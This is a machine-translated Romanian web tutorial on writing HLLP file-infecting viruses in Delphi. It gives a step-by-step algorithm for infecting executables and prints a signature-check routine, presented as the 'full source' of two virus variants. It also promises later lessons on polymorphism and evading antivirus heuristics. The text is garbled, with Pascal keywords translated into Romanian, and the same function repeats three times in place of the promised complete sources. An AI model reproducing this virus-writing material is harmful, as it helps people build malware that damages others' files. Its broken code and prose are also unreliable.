Virusul Hllp pe Delfi - Virusologie - delphi - Articole Director - Virusologie, vedere din Delfi

Virusul HLLP în Delphi

În primul rând, vom pune în aplicare primul tip de virus, sa următorul algoritm:
1) Găsiți sacrificiul
2) Verificați contaminare - în cazul în care infectate - în căutarea pe - în cazul în care nu infecta.
3) Infecție
. a) Crearea unui fișier temporar
. b) Copiați corpul virya de fișiere temporare
. c) Copiați fișierul la sfârșitul timpului corpul victimei
. g) Se îndepărtează sacrificiul
. e) se redenumiți în numele victimei
4) După începerea căutării pentru victimă
. a) Verificați dimensiunile -
. b) În cazul în care mai multe VirSize - apoi se extrage victima într-un fișier temporar
. c) Rulați sacrificiul
5) se termină.

În general, la fel ca în Pascal. Vom începe să se ocupe de infestarea procedurile de verificare CheckInfect - procedura este aceeași pentru ambele tipuri de virusuri, ea sorets, respectați în siguranță următoarele:
functioneaza CheckInfect (string cale.): boolean;
// test de contaminare Funcția - obține calea de fișier
// returnează true - în cazul în care nu sunt contaminate de fals - în cazul în care nu există nici o
const
SignSize = 64; // semnătură Mărime
SignPos = 666; // începe poziția semnătură
tip
Bufer = array [1..SignSize] de char; // Tampon semnătură
var
F1. fișier;
F2. fișier;
FM. cuvânt;
SignBuf. bufer;
VictBuf. bufer;
începe
FM: = FileMode; // păstrează FileMode
FileMode: = 0; // Opțiunea de fișier - numai citire
AssignFile (F1, Paramstr (0)); // Asociem cu Formula 1 prin auto
AssignFile (F2, cale); // Asociem cu F2 de către victimă
Reset (F1,1); // deschide în sine
Reset (F2,1); // Deschide sacrificiul
cauta (F1, SignPos); // trece o semnătură pe poziția
caută (F2, SignPos); // Du-te la victimă pe poziția semnăturii
BlockRead (F1, SignBuf, SignSize); // Citește o semnătură
BlockRead (F2, VictBuf, SignSize); // Citește în sacrificiul semnăturii
dacă SignBuf<>VictBuf // Comparați semnăturile
apoi Rezultat: = true // Dacă nu este egal - adevărat
altceva Rezultat: = false; // Daca nu sunt egale - fals
CloseFile (F1); // se închide
CloseFile (F2); // Închide victima
FileMode: = FM; // Recuperează valoare FileMode ca intrare în procedura
se încheie;

Doar la prima vedere, aspectul neobișnuit al acestei proceduri este - winexec import din funcția kernel32.dll, dar dacă ai citit lecția 4, care descrie modul de a importa o funcție din sistem, pentru tine aceasta nu va face probleme. În general, în cazul în care conectați ferestrele modulului la proiect, necesitatea importurilor va fi plecat, dar de ce avem nevoie de un modul suplimentar, este timpul pentru a învăța pentru a scăpa de tot inutile. În general, orice sensibil (în cazul nostru teoretic) scriitor virus trebuie să se gândească întotdeauna cu privire la dimensiunea creației sale, deși mulți spun că cu volume de astăzi Hardy - este irelevant ... Pe scurt, eu nu vreau ca ei să-i convingă, deoarece acestea sunt zero și nu înțeleg acest lucru, dintre care nici unul ... Oh, ceva ce digresiune, vom continua luarea în considerare a acestui tip de virus.
. Mai jos am oferi sursă complet de acest tip de virus, astfel Colectarea de munca noastră comună a adăugat o nouă realizare, și apoi ne oscileze fără prea mult os peremoem Virey HLLP al doilea tip:
Programul VirusHLLP1_execom;
utilizări
SysUtils;

functioneaza CheckInfect (string cale.): boolean;
// test de contaminare Funcția - obține calea de fișier
// returnează true - în cazul în care nu sunt contaminate de fals - în cazul în care nu există nici o
const
SignSize = 64; // semnătură Mărime
SignPos = 666; // începe poziția semnătură
tip
Bufer = array [1..SignSize] de char; // Tampon semnătură
var
F1. fișier;
F2. fișier;
FM. cuvânt;
SignBuf. bufer;
VictBuf. bufer;
începe
FM: = FileMode; // păstrează FileMode
FileMode: = 0; // Opțiunea de fișier - numai citire
AssignFile (F1, Paramstr (0)); // Asociem cu Formula 1 prin auto
AssignFile (F2, cale); // Asociem cu F2 de către victimă
Reset (F1,1); // deschide în sine
Reset (F2,1); // Deschide sacrificiul
cauta (F1, SignPos); // trece o semnătură pe poziția
caută (F2, SignPos); // Du-te la victimă pe poziția semnăturii
BlockRead (F1, SignBuf, SignSize); // Citește o semnătură
BlockRead (F2, VictBuf, SignSize); // Citește în sacrificiul semnăturii
dacă SignBuf<>VictBuf // Comparați semnăturile
apoi Rezultat: = true // Dacă nu este egal - adevărat
altceva Rezultat: = false; // Daca nu sunt egale - fals
CloseFile (F1); // se închide
CloseFile (F2); // Închide victima
FileMode: = FM; // Recuperează valoare FileMode ca intrare în procedura
se încheie;

Ei bine, nelyubiteli 273 articole dragi, de alertă prețioase ale codului nostru penal, codul sursă uite? Vom continua ...

Ei bine, totul este clar. Acum du-te la a doua turtă dulce astăzi, și anume sursa completă de-al doilea virus de tip HLLP, sper că nu sunt prea supraîncărcat de informații de astăzi? Este de dorit să se dezvolte un articol care nu ascultă, și un fel, dar numai în practică, atunci toate lucrurile pe care eu sunt aici crucificați, va ajunge până la conștiința ta. Aici iskhodnichek:
Programul VirusHLLP2_execom;
utilizări
SysUtils;

functioneaza CheckInfect (string cale.): boolean;
// test de contaminare Funcția - obține calea de fișier
// returnează true - în cazul în care nu sunt contaminate de fals - în cazul în care nu există nici o
const
SignSize = 64; // semnătură Mărime
SignPos = 666; // începe poziția semnătură
tip
Bufer = array [1..SignSize] de char; // Tampon semnătură
var
F1. fișier;
F2. fișier;
FM. cuvânt;
SignBuf. bufer;
VictBuf. bufer;
începe
FM: = FileMode; // păstrează FileMode
FileMode: = 0; // Opțiunea de fișier - numai citire
AssignFile (F1, Paramstr (0)); // Asociem cu Formula 1 prin auto
AssignFile (F2, cale); // Asociem cu F2 de către victimă
Reset (F1,1); // deschide în sine
Reset (F2,1); // Deschide sacrificiul
cauta (F1, SignPos); // trece o semnătură pe poziția
caută (F2, SignPos); // Du-te la victimă pe poziția semnăturii
BlockRead (F1, SignBuf, SignSize); // Citește o semnătură
BlockRead (F2, VictBuf, SignSize); // Citește în sacrificiul semnăturii
dacă SignBuf<>VictBuf // Comparați semnăturile
apoi Rezultat: = true // Dacă nu este egal - adevărat
altceva Rezultat: = false; // Daca nu sunt egale - fals
CloseFile (F1); // se închide
CloseFile (F2); // Închide victima
FileMode: = FM; // Recuperează valoare FileMode ca intrare în procedura
se încheie;

Asta are, atunci de ce am fost. Cred că puteți ghici lecția următoare vom face același lucru pe acest site și anterioare lecții, numai microDelphi. Ce urmează? - vă spun! În continuare vom învăța să facă viruși reale, și Deținute vor învăța să propaga viruși în dosare lor, metode de pornire, criptare și sacrificiu de sine, polimorfism, vampirismul, sisteme de control de by-pass tehnici euristice și multe, multe altele. În continuare, vom explora întreaga gamă de infecție cu virusul pluripartite, limbaj de asamblare, și apoi du-te la același studiu celelalte tipuri de amenințări. De asemenea, in tot acest timp, vom înțelege în mod clar și nu uitați că toate acestea sunt doar pentru divertisment, distracție și de învățare, precum și a se proteja, dar nu pentru a distruge, nu să fie vandali - e rău.